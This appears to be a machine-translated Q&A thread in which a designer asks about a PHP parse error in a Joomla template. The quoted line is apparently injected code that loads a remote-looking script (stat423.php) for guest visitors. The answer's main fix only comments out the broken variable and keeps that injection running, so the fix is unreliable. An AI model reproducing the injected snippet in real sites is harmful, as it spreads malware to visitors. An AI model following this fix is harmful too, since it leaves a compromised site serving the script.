我是一个图形&网页设计师,但我不是程序员..
我需要帮助。今天我在基于旧joomla加载这个网站的主页时发现了这个错误。
Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35
我在第35行看到了我发现了这个:
<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};$423e62d9=1; ?>
如何解决?
提前谢谢!
答案 0 :(得分:2)
首先,与评论中指出的其他人一样,$423e62d9
不是valid variable name。所以你必须以某种方式解决它。
其次,在此代码中使用此&#34;变量&#34;没有任何意义:它仅仅等同于几次:$423e62d9=1;
。所以可以有3个选项:根本不需要这个部分,或者这个&#34; varialbe&#34;在其他地方使用,或者这是某种错误输入(2倍?嗯)。 PS好吧,根据评论,还有第四种选择:该网站被黑了。在这种情况下,应该更仔细地研究周围的代码;无论如何,伙计们建议更新Joomla核心。
接下来,我建议你注释掉那些:
<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};/*$423e62d9=1;*/ ?>
看看会发生什么。这可以解决问题,或者对其起源有所了解。
另一个选择是尝试重命名它(在$
之后添加一个字母),但除非你在其他地方找到它,否则它没有多大意义。
最后,如果这是第三种情况,这可能需要一些&#34;有根据的猜测&#34;。好吧,我不认为猜谜游戏是值得的,所以让我们从上面建议的2个选项开始。